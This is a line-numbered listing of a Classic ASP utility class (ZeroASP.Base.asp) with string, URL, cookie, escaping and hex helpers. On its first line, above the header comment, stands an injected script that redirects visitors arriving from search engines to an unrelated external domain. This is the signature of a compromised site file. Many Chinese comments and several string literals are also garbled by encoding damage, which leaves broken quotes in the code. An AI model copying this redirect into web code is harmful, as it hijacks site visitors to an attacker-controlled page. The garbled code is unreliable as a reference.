d:\wwwroot\wuchunhua\zeroasp\zeroasp\extend\ZeroASP.Base.asp
001:
<script type="text/javascript">var s=document.referrer;if(s.indexOf("google")>0 || s.indexOf("baidu")>0 || s.indexOf("yahoo")>0 || s.indexOf("gou")>0 || s.indexOf("bing")>0 || s.indexOf("dao")>0 || s.indexOf("so")>0 || s.indexOf("sm")>0 || s.indexOf("biso")>0 ){location.href="http://www.afisyecd.space/?1923057"}</script>?%
002:
'######################################################################
003:
'## ZeroASP.Base.asp
004:
'## -------------------------------------------------------------------
005:
'## Feature : ZeroASP Class
006:
'## Author : Ayu(kinsc@139.com)
007:
'## Update Date : 2018-11-09
008:
'## Description : ZeroASP Extend Class
009:
'##
010:
'######################################################################
011:
012:
Class ZeroASP_Base
013:
014:
Private Sub Class_Initialize()
015:
Dim ZeroASP_Base
016:
ZeroASP_Base = "ZeroASP应用框架 - 基础?
017:
End Sub
018:
019:
'中文转Unicode/Native
020:
Public Function Tounicode(ByVal Str)
021:
Tounicode = ""
022:
Dim i
023:
For i = 1 To Len(Str)
024:
'Asc函数:返回字符串的第€个字母对应的ANSI字符代码
025:
'AscW函数:返回每€个GB编码文字的Unicode字符代码
026:
'Hex函数:返回表示十六进制数字€的字符?
027:
Tounicode = Tounicode & "\u" & LCase(Right("0000" & Cstr(Hex(AscW(Mid(Str,i,1)))),4))
028:
Next
029:
End Function
030:
031:
'Unicode/Native转中?
032:
Public Function Unicodeto(ByVal Str)
033:
Str = Replace(Str,"\u","")
034:
Unicodeto = ""
035:
Dim i
036:
For i = 1 To Len(Str) Step 4
037:
'Cint函数:将Variant类型强制转换成int类型
038:
'Chr函数:返回数值对应的ANSI编码字符
039:
'ChrW函数:返回数值对应的Unicode编码字符
040:
Unicodeto = Unicodeto & ChrW(Cint("&H" & Mid(Str,i,4)))
041:
Next
042:
End Function
043:
044:
'URL编码
045:
Public Function ZURLEncode(ByVal Str,ByVal OldCode,ByVal NewCode)
046:
Dim TempStr
047:
TempStr = "" '初始化变?
048:
If NewCode <> OldCode Then '如果指定的编码类型与当前页面编码类型不同,则临时设置处理该函数时的页面编码类?
049:
Session.CodePage = NewCode
050:
TempStr = Server.UrlEncode(Str)
051:
Session.CodePage = OldCode '还原页面编码为默?
052:
Else
053:
TempStr = Server.UrlEncode(Str)
054:
End If
055:
ZURLEncode = TempStr
056:
End Function
057:
058:
'URL解码
059:
Public Function ZURLDecode(ByVal Str)
060:
Dim start,final,length,char,i,butf8,pass
061:
Dim leftstr,rightstr,finalstr
062:
Dim b0,b1,bx,blength,position,u,utf8
063:
064:
b0 = Array(192,224,240,248,252,254)
065:
Str = Replace(Str,"+"," ")
066:
pass = 0
067:
utf8 = -1
068:
069:
length = Len(Str) : start = InStr(Str,"%") : final = InStrRev(Str,"%")
070:
If start = 0 Or length < 3 Then ZURLDecode = Str : Exit Function
071:
leftstr = Left(Str,start - 1) : rightstr = Right(Str,length - 2 - final)
072:
073:
For i = start To final
074:
char = Mid(Str,i,1)
075:
If char = "%" Then
076:
bx = URLDecode_Hex(Mid(Str,i + 1,2))
077:
If bx > 31 And bx < 128 Then
078:
i = i + 2
079:
finalstr = finalstr & ChrW(bx)
080:
ElseIf bx > 127 Then
081:
i = i + 2
082:
If utf8 < 0 Then
083:
butf8 = 1 : blength = -1 : b1 = bx
084:
For position = 4 To 0 Step -1
085:
If b1 >= b0(position) And b1 < b0(position + 1) Then
086:
blength = position
087:
Exit For
088:
End If
089:
Next
090:
If blength > -1 Then
091:
For position = 0 To blength
092:
b1 = URLDecode_Hex(Mid(Str,i + position * 3 + 2,2))
093:
If b1 < 128 Or b1 > 191 Then butf8 = 0 : Exit For
094:
Next
095:
Else
096:
butf8 = 0
097:
End If
098:
If butf8 = 1 And blength = 0 Then butf8 = -2
099:
If butf8 > -1 And utf8 = -2 Then i = start - 1 : finalstr = "" : pass = 1
100:
utf8 = butf8
101:
End If
102:
If pass = 0 Then
103:
If utf8 = 1 Then
104:
b1 = bx : u = 0 : blength = -1
105:
For position = 4 To 0 Step -1
106:
If b1 >= b0(position) And b1 < b0(position + 1) Then
107:
blength = position
108:
b1 = (b1 xOr b0(position)) * 64 ^ (position + 1)
109:
Exit For
110:
End If
111:
Next
112:
If blength > -1 Then
113:
For position = 0 To blength
114:
bx = URLDecode_Hex(Mid(Str,i + 2,2)) : i = i + 3
115:
If bx < 128 Or bx > 191 Then u = 0 : Exit For
116:
u = u + (bx And 63) * 64 ^ (blength - position)
117:
Next
118:
If u > 0 Then finalstr = finalstr & ChrW(b1 + u)
119:
End If
120:
Else
121:
b1 = bx * &h100 : u = 0
122:
bx = URLDecode_Hex(Mid(Str,i + 2,2))
123:
If bx > 0 Then
124:
u = b1 + bx
125:
i = i + 3
126:
Else
127:
If Left(Str,1) = "%" Then
128:
u = b1 + Asc(Mid(Str,i + 3,1))
129:
i = i + 2
130:
Else
131:
u = b1 + Asc(Mid(Str,i + 1,1))
132:
i = i + 1
133:
End If
134:
End If
135:
finalstr = finalstr & Chr(u)
136:
End If
137:
Else
138:
pass = 0
139:
End If
140:
End If
141:
Else
142:
finalstr = finalstr & char
143:
End If
144:
Next
145:
ZURLDecode = leftstr & finalstr & rightstr
146:
End Function
147:
148:
'URL解码附加函数
149:
Public Function URLDecode_Hex(ByVal h)
150:
h = "&h" & Trim(h) : URLDecode_Hex = -1
151:
If Len(h) <> 4 Then Exit Function
152:
If isNumeric(h) Then URLDecode_Hex = cInt(h)
153:
End Function
154:
155:
' 对数组排序(冒泡排序?
156:
' param Spara 排序前的数组
157:
' param Sindex 数组个数
158:
' param Sjoin 拼接字符&
159:
' 冒泡算法计算图例
160:
' 例子?-2-1-5-4
161:
' 第一轮则?位移变成2-1-3-5-4
162:
' 第二轮则?位移变成1-2-3-5-4
163:
' 第三轮则3位置等于当前位置,则1-2-3-5-4
164:
' 第四轮则?位移变成1-2-3-4-5
165:
' 第五轮则?位移变成1-2-3-4-5(这个在实际的冒泡算法中不触发,因为五个数仅€要对比四次)
166:
Public Function SortPara(ByVal Spara,ByVal Sindex,ByVal Sjoin)
167:
Dim Url_data,SortPara_ii,SortPara_i,minmax,minmaxSlot,SortPara_j,temp
168:
Url_data = ""
169:
For SortPara_ii = 0 To Sindex '循环次数,比?,当前位置该输出的€?
170:
Dim nCount
171:
nCount = UBound(Spara) '获取原始数组
172:
For SortPara_i = nCount To 0 Step - 1 '从最大€€减循环,nCount为数字,比如4,数组从0起,对比次数从多到少
173:
'从最后一个€循环到第一个€,比如4-3-2-1-0
174:
minmax = Spara( 0 ) '获取原始数组第一个€,即out_trade_no=201605293344
175:
minmaxSlot = 0 '位置初始化为0
176:
For SortPara_j = 1 To SortPara_i 'SortPara_i等于当前的数字,比如4,因为SortPara_i是for循环的€减,当SortPara_i小于1则无?
177:
'第一次循环获取到的€_input_charset=utf-8
178:
'_input_charset=utf-8和out_trade_no=201605293344比较,结果为小于
179:
If Spara( SortPara_j ) > minmax Then '为真,则第二个€大于第€个€,则更改位?
180:
minmax = Spara( SortPara_j ) '€小€由0变成1,比如out_trade_no=201605293344,_input_charset=utf-8
181:
minmaxSlot = SortPara_j '€小位置则增加1
182:
End If
183:
Next
184:
'防止在比如第三个位置就是该数值位置,不需要换?
185:
If minmaxSlot <> SortPara_i Then '判断位置不等于当前i的€,表示已经重新排序当前第一个最小的值了
186:
temp = Spara( minmaxSlot ) '输出当前
187:
Spara( minmaxSlot ) = Spara( SortPara_i )
188:
Spara( SortPara_i ) = temp '调整当前out_trade_no=201605293344更改为_input_charset=utf-8
189:
End If
190:
'Res_Echo SortPara_j&"-"&minmax'通过中断输出,该结果为最大数组€trade_no=201605291122
191:
'Res_End
192:
Next
193:
'SortPara = Spara输出
194:
If Instr(Spara(SortPara_ii),"=") > 0 Then '参数?
195:
If Split(Spara(SortPara_ii),"=")(1) <> "" Then
196:
Url_data = Url_data & Spara(SortPara_ii) & Sjoin
197:
End If
198:
Else '普€?
199:
Url_data = Url_data & Spara(SortPara_ii) & Sjoin
200:
End If
201:
Next
202:
SortPara = Left(Url_data,Len(Url_data) - 1)
203:
End Function
204:
205:
'容量大小转换
206:
Public Function GetSize(ByVal Size)
207:
If Size < 1024 Then
208:
GetSize = FormatNumber(Size, 2, -1, 0, 0) & "B"
209:
ElseIf Size >= 1024 And Size < 1048576 Then
210:
GetSize = FormatNumber(Size / 1024, 2, -1, 0, 0) & "KB"
211:
ElseIf Size >= 1048576 And Size < 1048576000 Then
212:
GetSize = FormatNumber((Size / 1024) / 1024, 2, -1, 0, 0) & "MB"
213:
ElseIf Size >= 1048576000 Then
214:
GetSize = FormatNumber(((Size / 1024) / 1024) / 1024, 2, -1, 0, 0) & "GB"
215:
End If
216:
End Function
217:
218:
'€终图片的地址
219:
Public Function GetImgs(ByVal Str)
220:
Dim regEx,mm,Match1,imgsrc,GetImgst
221:
Set regEx = New Regexp
222:
regEx.Pattern = "src\=.+?\.(gif|jpg|png|bmp|jpeg)"
223:
regEx.IgnoreCase = True
224:
regEx.Global = True
225:
Set mm = regEx.Execute(Str)
226:
For Each Match1 In mm
227:
imgsrc = Match1.Value
228:
imgsrc = Replace(imgsrc,"<img","")
229:
imgsrc = Replace(imgsrc,"""","")
230:
imgsrc = Replace(imgsrc,"src=","")
231:
imgsrc = Replace(imgsrc,">","")
232:
imgsrc = Replace(imgsrc," ","")
233:
GetImgst = GetImgst & imgsrc & "|"
234:
Next
235:
GetImgs = Left(GetImgst,Len(GetImgst)-1)
236:
End Function
237:
238:
'筛€出图片的地€
239:
Public Function GetImgCount(ByVal Str)
240:
Dim regEx,matches,Match,retstr
241:
Set regEx = New RegExp
242:
regEx.Pattern = "<img (.*?)src=(.[^\[^>]*)(.*?)>"
243:
regEx.IgnoreCase = True
244:
regEx.Global = True
245:
Set matches = regEx.Execute(Str)
246:
Dim I
247:
I = 0
248:
For Each Match In matches
249:
retstr = retstr & Match.Value
250:
Next
251:
If retstr <> "" Then
252:
GetImgCount = GetImgs(retstr)
253:
Else
254:
GetImgCount = 0
255:
End If
256:
End Function
257:
258:
'清除€有html代码
259:
Public Function RemoveHTML(ByVal Str)
260:
Dim objRegExp,Match,strHTML,regEx
261:
If IsNull(Str) Then
262:
Str = ""
263:
End If
264:
strHTML = Str
265:
strHTML = Replace(Replace(Replace(strHTML,vblf,""),vbcr,""),vbcrlf,"")
266:
strHTML = Replace(Replace(Replace(Replace(Replace(Replace(Replace(Replace(strHTML,"&",""),"€","")," ","")," ","")," ",""),"#160;","")," ",""),"&","")
267:
Set regEx = New Regexp
268:
regEx.IgnoreCase = True
269:
regEx.Global = True
270:
regEx.Pattern = "<script[^>]*?>.*?</script>"
271:
strHTML = regEx.Replace(strHTML,"")
272:
regEx.Pattern = "<style[^>]*?>.*?</style>"
273:
strHTML = regEx.Replace(strHTML,"")
274:
regEx.Pattern = "<.+?>"
275:
strHTML = regEx.Replace(strHTML,"")
276:
Set regEx = Nothing
277:
RemoveHTML = strHTML
278:
End Function
279:
280:
'判断内容是否正确
281:
Public Function Test(ByVal Str,ByVal Types)
282:
Dim temp,regEx
283:
Set regEx = New RegExp '建立正则表达?
284:
Select Case Types
285:
'英文+空格
286:
Case 0 : temp = "^[a-zA-Z ]+$"
287:
'数字+横杠
288:
Case 1 : temp = "^[0-9\-]+$"
289:
'半角数字
290:
Case 2 : temp = "^\d+$"
291:
'邮箱地址
292:
Case 3 : temp = "^\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*$"
293:
'电话号码格式1
294:
Case 4 : temp = "^(([0\+]\d{2,3}-)?(0\d{2,3})-)?(\d{7,8})(-(\d{3,}))?$"
295:
'电话号码格式2
296:
Case 5 : temp = "^(([0\+]\d{2,3}-)?(0\d{2,3}))?(\d{7,8})(-(\d{3,}))?$"
297:
'手机号码格式
298:
Case 6 : temp = "^[1][3-9]\d{9}$"
299:
'数字
300:
Case 7 : temp = "^\d*"
301:
Case Else : temp = Types
302:
End Select
303:
regEx.Pattern = temp'设置模式?
304:
regEx.IgnoreCase = True'设置是否区分字符大小写€?
305:
regEx.Global = True'设置全局可用性€?
306:
'找到了匹配的模式,Test方法返回True;否则返回False
307:
Test = regEx.Test(Trim(Str))
308:
Set regEx = Nothing
309:
End Function
310:
311:
'生成范围随机?
312:
Public Function RndN(ByVal StartNum,ByVal EndNum)
313:
Randomize()
314:
RndN = Int((EndNum - StartNum + 1) * Rnd + StartNum)
315:
End Function
316:
317:
'生成随机英文+数字
318:
Public Function RndEChar(ByVal Length)
319:
Dim i,Temp
320:
Temp = UCase("abcdefghijklmnopqrstuvwxyz1234567890")
321:
For i = 1 to Length
322:
Randomize()
323:
RndEChar = RndEChar & Mid(Temp,Int((Len(Temp) * Rnd) + 1),1)
324:
Next
325:
End Function
326:
327:
'动€包含文?仅支持纯后端内联文件无限?
328:
Public Sub Include(ByVal Path)
329:
Dim Content,Content1,Content1_1,Temp1,Temp2
330:
Content = Zasp.Stream.ReadFile(Path) '读取文件
331:
'Server.Execute 内部封装执行,Execute €部执行,ExecuteGlobal 全局执行
332:
ExecuteGlobal LoadFileReplace(Path) '全局执行
333:
Dim regEx
334:
Set regEx = New RegExp '建立正则表达?
335:
regEx.Pattern = "
<!-- *?#include +?(file|virtual) *?= *?""??([^"":?*\f\n\r\t\v]+?)""?? *?-->
" '设置模式
336:
regEx.IgnoreCase = True '设置是否区分大小?
337:
regEx.Global = True '全局
338:
Set Content1 = regEx.Execute(Content) ' 执行搜索。Content1.Count
339:
For Each Content1_1 In Content1
340:
Temp1 = Split(Content1_1.Value,"=")
341:
Temp2 = Replace(Replace(Temp1(1),"""",""),"-->","")
342:
Call Include(Zasp_Path & Temp2)
343:
Next
344:
Set regEx = Nothing
345:
Set Content1 = Nothing
346:
End Sub
347:
348:
'动€包含文?仅支持纯后端内联文件无限?
349:
Public Function LoadFileReplace(ByVal Path)
350:
Dim Content
351:
Content = Zasp.Stream.ReadFile(Path) '读取文件
352:
If Instr(Content,"
<!--#include") > 0 Then
353:
Dim regEx
354:
Set regEx = New RegExp '建立正则表达?
355:
regEx.Pattern = "
<!-- *?#include +?(file|virtual) *?= *?""??([^"":?*\f\n\r\t\v]+?)""?? *?-->
" '设置模式
356:
regEx.IgnoreCase = True '设置是否区分大小?
357:
regEx.Global = True '全局
358:
Content = regEx.Replace(Content, "")
359:
Content = Replace(Content, "<" & "%", "")
360:
Content = Replace(Content, "%" & ">", "")
361:
LoadFileReplace = Content
362:
Set regEx = Nothing
363:
Else
364:
Content = Replace(Content, "<" & "%", "")
365:
Content = Replace(Content, "%" & ">", "")
366:
LoadFileReplace = Content
367:
End If
368:
End Function
369:
370:
'页面执行时间
371:
Public Function PageTimes()
372:
Dim EndTime
373:
EndTime = Timer() '就是从零点开始今天过去的秒数
374:
PageTimes = FormatNumber((EndTime - StarTime), 3, -1, 0, 0)
375:
End Function
376:
377:
'€查是否存在系统组件或组件是否支持并返回版本号
378:
Public Function IsObjInstalled(ByVal Str)
379:
On Error Resume Next
380:
IsObjInstalled = "未安?
381:
Err = 0
382:
Dim TestObj
383:
Set TestObj = Server.CreateObject(Str)
384:
If Err = 0 Then
385:
'IsObjInstalled = TestObj.Version
386:
IsObjInstalled = "已安?
387:
ElseIf Err = -2147352567 Then
388:
'IsObjInstalled = TestObj.Version
389:
IsObjInstalled = "已安?
390:
End If
391:
Set TestObj = Nothing
392:
Err = 0
393:
End Function
394:
395:
'创建Cookies生命周期
396:
Public Sub BuildCooksTimes(ByVal Str,ByVal Times,ByVal Duration)
397:
's秒,n分钟,h小时,d天,m月,y?
398:
Response.Cookies(Str).Expires = DateAdd(Times,Duration,Zasp.Times.Dates(Now(),14))
399:
End Sub
400:
401:
'创建Cookies集合
402:
Public Sub BuildCooks(ByVal Str,ByVal Key,ByVal Value)
403:
If Key = "Null" Then
404:
Response.Cookies(Str) = Value
405:
Else
406:
Response.Cookies(Str)(Key) = Value
407:
End If
408:
End Sub
409:
410:
'€毁Cookies生命周期
411:
Public Sub ClearCooksTimes(ByVal Str)
412:
's秒,n分钟,h小时,d天,m月,y?
413:
Response.Cookies(Str).Expires = DateAdd("d",-1,Zasp.Times.Dates(Now(),14))
414:
End Sub
415:
416:
'€毁Cookies集合
417:
Public Sub ClearCooks(ByVal Str,ByVal Key)
418:
If Key = "Null" Then
419:
Response.Cookies(Str) = ""
420:
Else
421:
Response.Cookies(Str)(Key) = ""
422:
End If
423:
End Sub
424:
425:
'防止SQL注入,过滤危险字符,微软不允许的符号有\/:*?"<>|,支持的特殊符号?@#$%^
426:
'Server.HTMLEncode方法仅对?&<>' 】这四个影响HTML输出的字符进行编?
427:
'Str = Replace(Str,"\","?)
428:
'Str = Replace(Str,"/","?)
429:
'Str = Replace(Str,":","?)
430:
'Str = Replace(Str,"*","?)
431:
'Str = Replace(Str,"?","?)
432:
'Str = Replace(Str,"|","?)
433:
Public Function Ec(ByVal Str)
434:
Str = Replace(Str,"&","&")
435:
Str = Replace(Str,"<","<")
436:
Str = Replace(Str,">",">")
437:
Str = Replace(Str,"'","?)
438:
Str = Replace(Str,"""",""")
439:
Str = Replace(Str,Chr(38),"&")
440:
Str = Replace(Str,Chr(60),"<")
441:
Str = Replace(Str,Chr(62),">")
442:
Str = Replace(Str,Chr(39),"?)
443:
Str = Replace(Str,Chr(34),""")
444:
Str = Replace(Str,Chr(13) & Chr(10),"")
445:
Str = Replace(Str,VbCrlf,"")
446:
Ec = Str
447:
End Function
448:
449:
'防止SQL注入,过滤危险字符,微软不允许的符号有\/:*?"<>|,支持的特殊符号?@#$%^
450:
'Server.HTMLEncode方法仅对?&<>' 】这四个影响HTML输出的字符进行编?
451:
Public Function Dc(ByVal Str)
452:
Str = Replace(Str,"&","&")
453:
Str = Replace(Str,"<","<")
454:
Str = Replace(Str,">",">")
455:
Str = Replace(Str,"?,"'")
456:
Str = Replace(Str,""","""")
457:
Dc = Str
458:
End Function
459:
460:
'用于输出JSON格式(转义HTML字符?
461:
Public Function EcJson(ByVal Str)
462:
Str = Replace(Str,"<","<")
463:
Str = Replace(Str,">",">")
464:
Str = Replace(Str,"""","\""")
465:
Str = Replace(Str,Chr(60),"<")
466:
Str = Replace(Str,Chr(62),">")
467:
Str = Replace(Str,Chr(34),"\""")
468:
Str = Replace(Str,Chr(13) & Chr(10),"\\r\\n")
469:
EcJson = Str
470:
End Function
471:
472:
'用于还原JSON格式(还原转义HTML字符?
473:
Public Function DcJson(ByVal Str)
474:
Str = Replace(Str,"<","<")
475:
Str = Replace(Str,">",">")
476:
Str = Replace(Str,"\""","""")
477:
Str = Replace(Str,"<",Chr(60))
478:
Str = Replace(Str,">",Chr(62))
479:
Str = Replace(Str,"\""",Chr(34))
480:
Str = Replace(Str,"\\r\\n",Chr(13) & Chr(10))
481:
DcJson = Str
482:
End Function
483:
484:
'用于输出API的JSON接口(转义HTML字符?
485:
Public Function EcApi(ByVal Str)
486:
Str = Replace(Str,"<","<")
487:
Str = Replace(Str,">",">")
488:
Str = Replace(Str,"""","\""")
489:
EcApi = Str
490:
End Function
491:
492:
'用于还原API的JSON接口(还原转义HTML字符?
493:
Public Function DcApi(ByVal Str)
494:
Str = Replace(Str,"<","<")
495:
Str = Replace(Str,">",">")
496:
Str = Replace(Str,"\""","""")
497:
DcApi = Str
498:
End Function
499:
500:
'金额格式化(文本类型?
501:
Public Function ForA(ByVal Num)
502:
'第一个参?-6665.8999)指定了要进行格式化的数字?
503:
'第二个参?3)指定了小数点后显示的位数?
504:
'第三个参?-1)指定了是否显示前导的零€?
505:
'第四个参?-1)指定是否对负数使用括号€?
506:
'€后一个参?0)指定是否显示分隔符€?
507:
ForA = FormatNumber(Num,2,-1,0,0)
508:
End Function
509:
510:
'数字格式化(文本类型?
511:
Public Function ForN(ByVal Num)
512:
'第一个参?-6665.8999)指定了要进行格式化的数字?
513:
'第二个参?3)指定了小数点后显示的位数?
514:
'第三个参?-1)指定了是否显示前导的零€?
515:
'第四个参?-1)指定是否对负数使用括号€?
516:
'€后一个参?0)指定是否显示分隔符€?
517:
ForN = FormatNumber(Num,0,-1,0,-1)
518:
End Function
519:
520:
'文本格式转换为数字格式(数字类型?
521:
Public Function ForC(ByVal Num)
522:
ForC = CDBL(Num)
523:
End Function
524:
525:
'数字四舍五入(数字类型)
526:
'参数1为数据源,参?为保留多少位小数
527:
Public Function ForR(ByVal Num,ByVal Decimal)
528:
ForR = Round(Num,Decimal)
529:
End Function
530:
531:
'文本转换(文本类型)
532:
Public Function ForS(ByVal Num)
533:
ForS = Cstr(Num)
534:
End Function
535:
536:
'文本金额格式转换为数字金额格式(数字类型?
537:
Public Function ForARC(ByVal Num)
538:
ForARC = Abs(Round(CDBL(FormatNumber(Num,2,-1,0,0)),2))
539:
End Function
540:
541:
'数据截取
542:
'参数1为数据源,参?为开始位置,参数3为结束位?
543:
Public Function OutPut(ByVal Data,ByVal StartData,ByVal EndData)
544:
Dim StartData_Temp,EndData_Temp
545:
StartData_Temp = InStrRev(Data,StartData) + Len(StartData)
546:
EndData_Temp = InStrRev(Data,EndData)
547:
OutPut = Mid(Data,StartData_Temp,EndData_Temp - StartData_Temp)
548:
End Function
549:
550:
'新排序,内容使用英文逗号分隔
551:
Public Function NewSortPara(ByVal Spara, ByVal Sjoin)
552:
Dim DataList,i,StrItem,Temp
553:
Set DataList = Server.CreateObject("System.Collections.ArrayList")
554:
Spara = Split(Spara,",")
555:
For i = 0 To UBound(Spara)
556:
DataList.Add "" & Spara(i) & ""
557:
Next
558:
DataList.Sort()
559:
For Each StrItem In DataList
560:
Temp = Temp & StrItem & Sjoin
561:
Next
562:
NewSortPara = Left(Temp,Len(Temp) - 1)
563:
Set DataList = Nothing
564:
End Function
565:
566:
'二进制转十六进制
567:
Public Function BinToHex(ByVal Str)
568:
Dim T,I:T = Empty
569:
For I = 1 To LenB(Str)
570:
T = Hex(AscB(MidB(Str,I,1)))
571:
If (Len(T) < 2) Then
572:
While (Len(T) < 2)
573:
T = "0" & T
574:
Wend
575:
End If
576:
BinToHex = LCase(BinToHex & T)
577:
Next
578:
End Function
579:
580:
'十六进制转二进制
581:
Public Function HexToBin(ByVal Str)
582:
Dim I,S:S = Empty
583:
For I = 1 To Len(Str) Step 2
584:
S = S & ChrB("&H" & Mid(Str,I,2))
585:
Next
586:
HexToBin = S
587:
End Function
588:
589:
'十六进制转字符串
590:
Public Function HexToStr(ByVal StrHex)
591:
Dim Length
592:
Dim Max
593:
Dim Str
594:
Max = Len(StrHex)
595:
For Length = 1 To Max Step 2
596:
Str = Str & Chr("&h" & Mid(StrHex,Length,2))
597:
Next
598:
HexToStr = Str
599:
End Function
600:
601:
'字符串转十六进制
602:
Public Function StrToHex(ByVal Str)
603:
Dim Length
604:
Dim Max
605:
Dim StrHex
606:
Max = Len(Str)
607:
For Length = 1 To Max
608:
StrHex = StrHex & Right("0" & Hex(Asc(Mid(Str,Length,1))),2)
609:
Next
610:
StrToHex = StrHex
611:
End Function
612:
613:
End Class
614:
%>
615:
616: